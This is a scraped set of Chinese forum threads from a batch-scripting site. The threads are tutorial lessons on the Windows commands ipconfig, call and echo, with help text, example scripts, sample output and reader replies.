1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-19 17:12 | 只看该作者

[原创] 【续】[一日一教学]（36）查看IP配置信息：ipconfig

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 用法:

  2.     ipconfig [/allcompartments] [/? | /all |

  3.                                  /renew [adapter] | /release [adapter] |

  4.                                  /renew6 [adapter] | /release6 [adapter] |

  5.                                  /flushdns | /displaydns | /registerdns |

  6.                                  /showclassid adapter |

  7.                                  /setclassid adapter [classid] |

  8.                                  /showclassid6 adapter |

  9.                                  /setclassid6 adapter [classid] ]

  10.

  11. 其中

  12.     adapter             连接名称

  13.                        (允许使用通配符 * 和 ?，参见示例)

  14.

  15.     选项:

  16.        /?               显示此帮助消息

  17.        /all             显示完整配置信息。

  18.        /release         释放指定适配器的 IPv4 地址。

  19.        /release6        释放指定适配器的 IPv6 地址。

  20.        /renew           更新指定适配器的 IPv4 地址。

  21.        /renew6          更新指定适配器的 IPv6 地址。

  22.        /flushdns        清除 DNS 解析程序缓存。

  23.        /registerdns     刷新所有 DHCP 租约并重新注册 DNS 名称

  24.        /displaydns      显示 DNS 解析程序缓存的内容。

  25.        /showclassid     显示适配器的所有允许的 DHCP 类 ID。

  26.        /setclassid      修改 DHCP 类 ID。

  27.        /showclassid6    显示适配器允许的所有 IPv6 DHCP 类 ID。

  28.        /setclassid6     修改 IPv6 DHCP 类 ID。

  29.

  30.

  31. 默认情况下，仅显示绑定到 TCP/IP 的适配器的 IP 地址、子网掩码和

  32. 默认网关。

  33.

  34. 对于 Release 和 Renew，如果未指定适配器名称，则会释放或更新所有绑定

  35. 到 TCP/IP 的适配器的 IP 地址租约。

  36.

  37. 对于 Setclassid 和 Setclassid6，如果未指定 ClassId，则会删除 ClassId。

  38.

  39. 示例:

  40.     > ipconfig                       ... 显示信息

  41.     > ipconfig /all                  ... 显示详细信息

  42.     > ipconfig /renew                ... 更新所有适配器

  43.     > ipconfig /renew EL*            ... 更新所有名称以 EL 开头

  44.                                          的连接

  45.     > ipconfig /release *Con*        ... 释放所有匹配的连接，

  46.                                          例如 "Local Area Connection 1" 或

  47.                                              "Local Area Connection 2"

  48.     > ipconfig /allcompartments      ... 显示有关所有分段的

  49.                                          信息

  50.     > ipconfig /allcompartments /all ... 显示有关所有分段的

  51.                                          详细信息
复制代码
命令概括：

ipconfig，全英文internet protocol configuration，意为“网际协议配置”，通俗点说就是“ip地址配置”。

/all，意为“全部”；

/release，意为“释放”；

/renew，意为“更新”；

/flushdns，全英文flush domain name server，意为“清除域名服务器”，实际上是“清除 DNS 解析程序缓存”。

/registerdns，意为“注册dns”；

/displaydns，意为“显示dns”；

/showclassid，意为“显示类id”；

/setclassid，意为“设置类id”。

参数详解：

1.显示ip地址（局域网中只能查询局域网ip）
  1. ipconfig
复制代码
效果：
  1. Windows IP 配置

  2.

  3.

  4. PPP 适配器 宽带连接:

  5.

  6.    连接特定的 DNS 后缀 . . . . . . . :

  7.    IPv4 地址 . . . . . . . . . . . . : 110.206.9.75

  8.    子网掩码  . . . . . . . . . . . . : 255.255.255.255

  9.    默认网关. . . . . . . . . . . . . : 0.0.0.0
复制代码
2.显示更详细的ip信息
  1. ipconfig /all
复制代码
效果：
  1. PPP 适配器 宽带连接:

  2.

  3.    连接特定的 DNS 后缀 . . . . . . . :

  4.    描述. . . . . . . . . . . . . . . : 宽带连接

  5.    物理地址. . . . . . . . . . . . . :

  6.    DHCP 已启用 . . . . . . . . . . . : 否

  7.    自动配置已启用. . . . . . . . . . : 是

  8.    IPv4 地址 . . . . . . . . . . . . : 110.206.9.75(首选)

  9.    子网掩码  . . . . . . . . . . . . : 255.255.255.255

  10.    默认网关. . . . . . . . . . . . . : 0.0.0.0

  11.    DNS 服务器  . . . . . . . . . . . : 61.234.254.6

  12.                                        211.98.2.4

  13.    TCPIP 上的 NetBIOS  . . . . . . . : 已禁用
复制代码
3.显示访问过的网站的域名（网址）
  1. ipconfig /displaydns
复制代码
效果：
  1. Windows IP 配置

  2.

  3.     ntes-webim-connector-c3.blog.163.com

  4.     ----------------------------------------

  5.     记录名称. . . . . . . : ntes-webim-connector-c3.blog.163.com

  6.     记录类型. . . . . . . : 1

  7.     生存时间. . . . . . . : 167

  8.     数据长度. . . . . . . : 4

  9.     部分. . . . . . . . . : 答案

  10.     A (主机)记录  . . . . : 220.181.9.71

  11.

  12.

  13.     记录名称. . . . . . . : ns2.nease.net

  14.     记录类型. . . . . . . : 1

  15.     生存时间. . . . . . . : 167

  16.     数据长度. . . . . . . : 4

  17.     部分. . . . . . . . . : 其他

  18.     A (主机)记录  . . . . : 114.113.197.12

  19.

  20.

  21.     记录名称. . . . . . . : ns3.nease.net

  22.     记录类型. . . . . . . : 1

  23.     生存时间. . . . . . . : 167

  24.     数据长度. . . . . . . : 4

  25.     部分. . . . . . . . . : 其他

  26.     A (主机)记录  . . . . : 220.181.28.4

  27.

  28.

  29.     记录名称. . . . . . . : ns4.nease.net

  30.     记录类型. . . . . . . : 1

  31.     生存时间. . . . . . . : 167

  32.     数据长度. . . . . . . : 4

  33.     部分. . . . . . . . . : 其他

  34.     A (主机)记录  . . . . : 61.135.255.140
复制代码
其它的参数我也不知道有什么用，希望知道的朋友能帮忙完善此教程。

扩展阅读：
无。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

329692195
  • 发短消息
  • 加为好友

329692195 当前离线

UID
44081
帖子
4
精华
0
积分
25
PB
25
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2011-12-14
最后登录
2012-1-8

列兵

帖子
4
积分
25
技术
0
捐助
0
注册时间
2011-12-14
2楼
发表于 2011-12-14 20:08 | 只看该作者
嘿嘿 ipconfig命令可是搞网络的同志们必需掌握的命令哦。

ipconfig/release
ipconfig/renew
ipconfig /setclassid
这几条命令是在有DHCP服务器时常用的命令
最后一条是DHCP服务器上做了类别ID是会用到的一个命令。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:22, Processed in 0.032451 second(s), 7 queries, Gzip enabled.


41、调用子过程或外部程序：call

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（41）调用子过程或外部程序：call
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-11-28 21:48 | 只看该作者

[原创] [批处理命令一日一教学 续]（41）调用子过程或外部程序：call

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 从批处理程序调用另一个批处理程序。

  2.

  3. CALL [drive:][path]filename [batch-parameters]

  4.

  5.   batch-parameters   指定批处理程序所需的命令行信息。

  6.

  7. 如果命令扩展被启用，CALL 会如下改变:

  8.

  9. CALL 命令现在将卷标当作 CALL 的目标接受。语法是:

  10.

  11.     CALL:label arguments

  12.

  13. 一个新的批文件上下文由指定的参数所创建，控制在卷标被指定

  14. 后传递到语句。您必须通过达到批脚本文件末两次来 "exit" 两次。

  15. 第一次读到文件末时，控制会回到 CALL 语句的紧后面。第二次

  16. 会退出批脚本。键入 GOTO /?，参看 GOTO :EOF 扩展的描述，

  17. 此描述允许您从一个批脚本返回。

  18.

  19. 另外，批脚本文本参数参照(%0、%1、等等)已如下改变:

  20.

  21.

  22.      批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)

  23.

  24.      批参数(%n)的替代已被增强。您可以使用以下语法:

  25.

  26.          %~1         - 删除引号(")，扩展 %1

  27.          %~f1        - 将 %1 扩展到一个完全合格的路径名

  28.          %~d1        - 仅将 %1 扩展到一个驱动器号

  29.          %~p1        - 仅将 %1 扩展到一个路径

  30.          %~n1        - 仅将 %1 扩展到一个文件名

  31.          %~x1        - 仅将 %1 扩展到一个文件扩展名

  32.          %~s1        - 扩展的路径只含有短名

  33.          %~a1        - 将 %1 扩展到文件属性

  34.          %~t1        - 将 %1 扩展到文件的日期/时间

  35.          %~z1        - 将 %1 扩展到文件的大小

  36.          %~$PATH:1   - 查找列在 PATH 环境变量的目录，并将 %1

  37.                        扩展到找到的第一个完全合格的名称。如果

  38.                        环境变量名未被定义，或者没有找到文件，

  39.                        此修改符会扩展到空字符串

  40.

  41.     可以组合修改符来取得多重结果:

  42.

  43.         %~dp1       - 只将 %1 扩展到驱动器号和路径

  44.         %~nx1       - 只将 %1 扩展到文件名和扩展名

  45.         %~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1，

  46.                       并扩展到找到的第一个文件的驱动器号和路径。

  47.         %~ftza1     - 将 %1 扩展到类似 DIR 的输出行。

  48.

  49.     在上面的例子中，%1 和 PATH 可以被其他有效数值替换。

  50.     %~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*

  51.     使用
复制代码
.

命令概括：
call，意为： 电话；呼叫；要求；访问。引申为“调用”。
batch-parameter，意为“批处理参数”。
label，意为“标签”。
argument，意为“参数”。

call表明，批处理其实也是有函数的。

参数详解：
1、从批处理程序调用另一个批处理程序（外部函数）？

新建两个批处理程序，分别命名为test.bat、hello.bat。
test.bat
  1. echo %1 %2

  2. pause
复制代码
.

hello.bat
  1. @echo off

  2. call test.bat hello world

  3. pause
复制代码
运行hello.bat，调用test.bat，结果显示。
下载 (3.84 KB)
2011-11-30 17:39
.

从结果中可以看出，hello.bat执行了4条语句，第一条关闭回显（@echo off），第二条输出hello world，第三条、第四条暂停并提示（pause）。
从这里可以看出，从批处理程序调用另一个批处理程序的执行流程：先执行原批处理中的代码，当遇到调用时再执行完被调用的批处理中的所有代码，最后返回到原批处理再执行call语句之后的代码。这种执行流程，同样适用于call 调用标签（内部函数）

2.第一节test.bat中%1，%2是什么意思？

要明白test.bat中%1、%2是什么意思，我们得结合hello.bat中“call test.bat hello world”和test.bat中“echo %1 %2”来看。

hello.bat中的类容不变，试着修改test.bat中的内容。
test.bat
  1. echo  %2

  2. pause
复制代码
.

再次执行hello.bat，结果：
  1.  world

  2. 请按任意键继续. . .
复制代码
.

“hello”不见了，只显示了“world”，这给人一种感觉，好像%1代表了“hello”，%2代表了“world”——事实上也确实如此。

我们可以将%1~%9这九个参数看成是批处理的形参，在这个例子中，%1，%2就是形参，而“hello”、 “world”就是实参。

这种参数的传递，执行流程就是在原批处理中将实参传递到被调用批处理中的形参中。

例如：
将hello.bat，test.bat进行如下修改。

hello.bat
  1. @echo off

  2. call test.bat 3 9

  3. pause
复制代码
.

test.bat
  1. Set /a n=%1+%2

  2. echo %n%

  3. pause
复制代码
.

运行hello.bat，结果返回12。

实参中的分隔符可以是空格、逗号、分号、等于号，“call test.bat 3 9”写成“call test.bat 3,9”、“call test.bat 3;9”、“call test.bat 3=9”都是可以的。

3.调用一个内部函数（标签）

如果把“被调用批处理”看成是外部函数，那么标签就可以看成是内部函数。

修改hello.bat的内容：
  1. @echo off

  2. call :1 "hello"

  3. pause

  4. exit

  5. :1

  6. echo.%~1
复制代码
.

call调用标签时冒号（:）不可以省略，和goto不同（goto跳转时，冒号可有可无）。

4.函数调用中非实参形参对应关系的变量值的相互传递。

hello.bat
  1. @echo off

  2. Set n=1

  3. call :1 "hello"

  4. pause

  5. exit

  6. :1

  7. echo.%~1

  8. echo %n%
复制代码
代码的执行结果：
  1. hello

  2. 1

  3. 请按任意键继续. . .
复制代码
.

以上结果说明，内部函数中，变量n的值，可以在主函数中定义，在被调用函数中输出。——这种结果，同样会出现在外部函数中（一个批处理调用另一个批处理）。

再次修改hello.bat
  1. @echo off

  2. call :1 "hello"

  3. echo %n%

  4. pause

  5. exit

  6. :1

  7. echo.%~1

  8. Set n=1
复制代码
.

结果：
  1. hello

  2. 1

  3. 请按任意键继续. . .
复制代码
以上结果说明，内部函数中，变量n的值，也可以在被调用函数中定义，在主函数中输出。——这种结果，同样会出现在外部函数中（一个批处理调用另一个批处理）。

5.嵌套调用

嵌套调用就是一个被调用的函数中还有一个调用其它函数的命令，就好像小时候玩的那工兵、班长、排长、连长、团长……，团长 call 连长，连长 call 排长，……，班长 call 工兵，然后工兵才开始干活。

修改两个批处理的内容：

hello.bat
  1. @echo off

  2. call test.bat world

  3. echo %m%

  4. pause&exit
复制代码
.

test.bat
  1. Echo %1

  2. Set m=1

  3. call :1 hello

  4. pause&exit /b

  5. :1

  6. echo %1
复制代码
.

结果：
  1. world

  2. hello

  3. 请按任意键继续. . .

  4. 1

  5. 请按任意键继续. . .
复制代码
.

这里，test.bat是被调用的函数，但它自身又包含一个内部子函数（:1）——这就是函数的嵌套。

可以看出虽然test.bat中有两个%1，但是它们的值并不相同，这说明父函数的形参并不等于子函数的形参。

注意：这里exit /b 是用来退出子函数的，不加/b参数就会退出整个cmd.exe（区别就是，加/b父函call之后命令还会执行，不加/b父函数call之后的命令就不会执行了）。
可以把test.bat中的exit /b 替换为 exit 体会一下。

6.函数的递归调用

http://bbs.bathome.net/thread-1264-1-6.html
这篇教程由pusofalse提供。

扩展阅读：

1.利用call实现变量延迟。
  1. @echo off

  2. for /l %%i in (1 1 5) do (

  3. 	Set n=%%i

  4. 	set /a n+=1

  5. 	call echo %%n%%

  6. )

  7. pause
复制代码
.

2.call和for一起使用。
  1. ::在文件路径前加“this is a text”

  2. @echo off

  3. For /r %%i in (*.txt) do call :1 %%i

  4. pause

  5. :1

  6. Set n=This is a text:%1

  7. echo %n%
复制代码
.

第二种方法的作用其实更大。但是第一种方法用的却更多。
1

评分人数

    • Batcher: Good work!技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

ivor
  • 发短消息
  • 加为好友

ivor 当前离线

UID
44588
帖子
661
精华
0
积分
2806
PB
2471
技术
105
捐助
20
阅读权限
70
在线时间
784 小时
注册时间
2012-1-7
最后登录
2018-6-2

中校

帖子
661
积分
2806
技术
105
捐助
20
注册时间
2012-1-7
2楼
发表于 2012-2-10 13:26 | 只看该作者
  1. call echo %%n%%
复制代码
这个不错
回复 引用

评分 报告 TOP

迷彩的SF
  • 发短消息
  • 加为好友

迷彩的SF 当前离线

UID
41502
帖子
7
精华
0
积分
31
PB
31
技术
0
捐助
0
阅读权限
5
在线时间
18 小时
注册时间
2011-9-10
最后登录
2012-2-25

列兵

帖子
7
积分
31
技术
0
捐助
0
注册时间
2011-9-10
3楼
发表于 2012-2-12 23:12 | 只看该作者
回复 1# Hello123World

总算明白%1～9的用法了
回复 引用

评分 报告 TOP

flaven
  • 发短消息
  • 加为好友

flaven 当前离线

UID
37230
帖子
32
精华
0
积分
38
PB
38
技术
0
捐助
0
阅读权限
5
在线时间
58 小时
注册时间
2011-5-7
最后登录
2015-2-9

列兵

帖子
32
积分
38
技术
0
捐助
0
注册时间
2011-5-7
4楼
发表于 2012-5-8 19:51 | 只看该作者
对批处理越来越佩服了
回复 引用

评分 报告 TOP

wangx
  • 发短消息
  • 加为好友

wangx 当前离线

UID
61894
帖子
53
精华
0
积分
79
PB
73
技术
2
捐助
0
阅读权限
10
在线时间
52 小时
注册时间
2013-7-27
最后登录
2015-4-2

上等兵

帖子
53
积分
79
技术
2
捐助
0
注册时间
2013-7-27
5楼
发表于 2013-9-15 17:49 | 只看该作者
学到很多，每天都进步一点，谢谢分享。
回复 引用

评分 报告 TOP

wangxiaodong
  • 发短消息
  • 加为好友

wangxiaodong 当前离线

UID
45092
帖子
55
精华
0
积分
79
PB
76
技术
1
捐助
0
阅读权限
10
来自
湖北
在线时间
54 小时
注册时间
2012-2-3
最后登录
2018-1-7

上等兵

帖子
55
积分
79
技术
1
捐助
0
注册时间
2012-2-3
6楼
发表于 2014-4-2 20:27 | 只看该作者
深有体会啊!遇到变量引用时非常有用1# Hello123World
回复 引用

评分 报告 TOP

wxc2k14329
  • 发短消息
  • 加为好友

wxc2k14329 当前离线

UID
65714
帖子
5
精华
0
积分
16
PB
16
技术
0
捐助
0
阅读权限
5
在线时间
2 小时
注册时间
2014-3-29
最后登录
2014-4-5

列兵

帖子
5
积分
16
技术
0
捐助
0
注册时间
2014-3-29
7楼
发表于 2014-4-5 18:21 | 只看该作者
最后一例显示为:
This is a text:%1 ???{:3_53:}
回复 引用

评分 报告 TOP

wrsbj
  • 发短消息
  • 加为好友

wrsbj 当前离线

UID
70144
帖子
13
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2015-1-1
最后登录
2015-1-2

列兵

帖子
13
积分
24
技术
0
捐助
0
注册时间
2015-1-1
8楼
发表于 2015-1-2 15:53 | 只看该作者
批处理博大精深，学习了
回复 引用

评分 报告 TOP

Bat_s
  • 发短消息
  • 加为好友

Bat_s 当前离线

UID
70094
帖子
15
精华
0
积分
27
PB
27
技术
0
捐助
0
阅读权限
5
在线时间
6 小时
注册时间
2014-12-28
最后登录
2015-2-2

列兵

帖子
15
积分
27
技术
0
捐助
0
注册时间
2014-12-28
9楼
发表于 2015-1-21 17:18 | 只看该作者
@echo off
rem 用^call命令去理解%*这些常理的应用
call :x 1 10
pause&exit
:x
for /l %%i in (%1,%1,%2) do echo %%i
回复 引用

评分 报告 TOP

1055367558
  • 发短消息
  • 加为好友

1055367558 当前离线

UID
81231
帖子
31
精华
0
积分
50
PB
44
技术
2
捐助
0
阅读权限
10
在线时间
22 小时
注册时间
2017-8-13
最后登录
2018-2-25

上等兵

帖子
31
积分
50
技术
2
捐助
0
注册时间
2017-8-13
10楼
发表于 2017-8-19 10:50 | 只看该作者
call echo %%n%%还一定要加两层%%
回复 引用

评分 报告 TOP

1212112
  • 发短消息
  • 加为好友

1212112 当前离线

UID
81799
帖子
4
精华
0
积分
15
PB
15
技术
0
捐助
0
阅读权限
5
在线时间
21 小时
注册时间
2017-9-17
最后登录
2017-10-7

列兵

帖子
4
积分
15
技术
0
捐助
0
注册时间
2017-9-17
11楼
发表于 2017-9-26 21:50 | 只看该作者
为什么是要加两层%呢，是什么意思呢？
回复 引用

评分 报告 TOP

1212112
  • 发短消息
  • 加为好友

1212112 当前离线

UID
81799
帖子
4
精华
0
积分
15
PB
15
技术
0
捐助
0
阅读权限
5
在线时间
21 小时
注册时间
2017-9-17
最后登录
2017-10-7

列兵

帖子
4
积分
15
技术
0
捐助
0
注册时间
2017-9-17
12楼
发表于 2017-9-27 11:53 | 只看该作者
有一些行确实看不明白，希望指教一下
call echo %%n%% 这句是什么意思呢？
call echo 怎么理解？
%%n%% 又怎么理解？

谢谢
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:22, Processed in 0.120107 second(s), 9 queries, Gzip enabled.


42、显示提示信息：echo

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（42）显示提示信息：echo
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-28 15:01 | 只看该作者

[原创] 【续】[一日一教学]（42）显示提示信息：echo

本帖最后由 Hello123World 于 2011-8-29 02:06 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 显示信息，或将命令回显打开或关上。

  2.

  3.   ECHO [ON | OFF]

  4.   ECHO [message]

  5.

  6. 要显示当前回显设置，键入不带参数的 ECHO。
复制代码
命令概括：
echo，全英文echo，意为：回音，反射；这里可以引申为回显。

参数详解：
echo有两种语法，两种都是经常用到的。

先看第一种：
  1. ECHO [ON | OFF]
复制代码
这种语法，意思是“将命令回显打开或关上”。
echo off 常出现在批处理文件的首行，而且还稍有不同，多了个@
例如：
  1. @Echo Off

  2. net user

  3. Pause>Nul
复制代码
效果：
  1. \\HELLOWORLD-PC 的用户帐户

  2.

  3. -------------------------------------------------------------------------------

  4.        Administrator            Guest

  5. 命令成功完成。
复制代码
为什么都在首行加上这条语句呢？
echo off是什么意思？
前面加上@又是为什么？

第一个问题是由第二个问题和第三个问题组合形成的，所以只要回答了第二、第三问，第一问也迎刃而解了。

echo off是什么意思？
on 和 off 都是echo 的关键字，所谓关键字就是系统规定、有特殊用途的字符。
echo on 是打开回显，echo off 是关闭回显。

系统默认是echo on，所以每次为了关闭回显，都会在代码的行首加上echo off，加以关闭。

不在行首加echo off。
例如：
  1. net user

  2. Pause>Nul
复制代码
效果：
  1. C:\Users\helloworld\Desktop>net user

  2.

  3. \\HELLOWORLD-PC 的用户帐户

  4.

  5. -------------------------------------------------------------------------------

  6.         Administrator            Guest

  7. 命令成功完成。

  8.

  9.

  10. C:\Users\helloworld\Desktop>Pause1>Nul
复制代码
看出差别来了吗？
不关闭回显，net user命令 pause >nul都回显了出来，这在程序运行时会影响结果的美观度，所以大家一般在行首加上echo off。

前面加上@又是为什么？
echo off只能关闭 echo off后面的代码的回显，但不能关闭自身的回显。

还是举例来说明。
例如：
  1. echo off

  2. net user

  3. Pause>Nul
复制代码
效果：
  1. C:\Users\helloworld\Desktop>echo off

  2.

  3. \\HELLOWORLD-PC 的用户帐户

  4.

  5. -------------------------------------------------------------------------------

  6.         Administrator            Guest

  7. 命令成功完成。
复制代码
net user命令 pause >nul都没有回显了出来，但是Echo off却显示出来了。

所以才要在行首加上@echo off.

echo也可以光杆使用，输入光杆echo，显示当前回显的状态，关闭 or 打开。

第二种语法：
ECHO [message]

message，全英文message，意为：消息、信息、留言。

message可以是任意的字符，但是不能是 on 和 off，因为这两个是关键字，所以，你想输出 on 和 off ，必须用逗号等命令分隔符代替默认的空格分隔符。
例如：
  1. C:\Users\helloworld\Desktop>echo,on

  2. on

  3.

  4. C:\Users\helloworld\Desktop>echo,off

  5. off
复制代码
例如：
  1. @echo off

  2. echo 慷慨歌燕市，从容作楚囚。

  3. echo 引刀成一快，不负少年头。

  4. echo “曲线救国”的汪精卫都能做出这样的诗，我辈怎敢不自勉。

  5. echo off

  6. echo on

  7. Pause>Nul
复制代码
扩展阅读：
1.用echo输出空行。
  1. @echo off

  2. echo.

  3. echo 慷慨歌燕市，从容作楚囚。

  4. echo;

  5. echo 引刀成一快，不负少年头。

  6. echo\

  7. echo “曲线救国”的汪精卫都能做出这样的诗，我辈怎敢不自勉。

  8. echo/

  9. echo hello

  10. echo,

  11. pause
复制代码
2.echo 结合重定向输出符 > 可以作为创建文本文件的命令。

例如：
  1. echo hello >c:\1.txt

  2. start 1.txt
复制代码
在c盘根目录创建一个内容为hello的1.txt

由于脚本特性，即是可运行程序又是文本文件，所以echo其实还可以创建各种脚本，vbs、js、html，只要你学会这些脚本语言的使用，你就可以用echo创建它们。

我做了一工具，就是利用了这一特性。
例如：
批处理实现-以网页套图形式浏览当前文件夹中的图片
1

评分人数

    • Batcher: Good work!技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

CUer
  • 发短消息
  • 加为好友

CUer 当前离线

UID
24385
帖子
522
精华
0
积分
1037
PB
854
技术
61
捐助
0
阅读权限
50
在线时间
238 小时
注册时间
2010-4-30
最后登录
2011-10-20

上尉

帖子
522
积分
1037
技术
61
捐助
0
注册时间
2010-4-30
2楼
发表于 2011-8-28 15:16 | 只看该作者
建议增加以下内容：
1、怎样输出一个空行
2、当echo后面是一个变量的时候，为了防止遇到on或者off而出错，应该用逗号等命令分隔符代替默认的空格分隔符

删除以下容易误导人的结论（或者换一种说法）：
但是不能是 on 和 off，因为这两个是关键字，所以，你想输出 on 和 off 是永远不可能的。
1

评分人数

    • Hello123World: 非常精准，学习了，多谢关注。PB + 6 技术 + 1
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
3楼
发表于 2011-8-28 16:57 | 只看该作者
继续学习
继续支持
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
4楼
发表于 2011-8-28 17:49 | 只看该作者
echo后面的分隔符论坛里讲述，通常会用到以下几种（我印象的你自己试验）：
echo;Hello
echo.Hello
echo,hello
……
为什么这样？区别以下看看：
for %%a in (1 a %Var% 你好) do echo;%%a&echo %%a
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
5楼
发表于 2011-8-29 10:32 | 只看该作者
本帖最后由 zaixinxiangnian 于 2011-8-29 10:35 编辑

分号后面加空格 -- 就会输出 空格+要输出的字符串
分号前面加空格 -- 就会输出 分号+要输出的字符串
总归好像 ( ; , . )等在ECHO中都可以带替空格，但是加 OFF/ON 参数时就起到转义作用
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
6楼
发表于 2011-8-29 11:17 | 只看该作者
回复 5# zaixinxiangnian

也不是转义，只是语法格式而已
ECHO [ON | OFF]

这里是空格。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
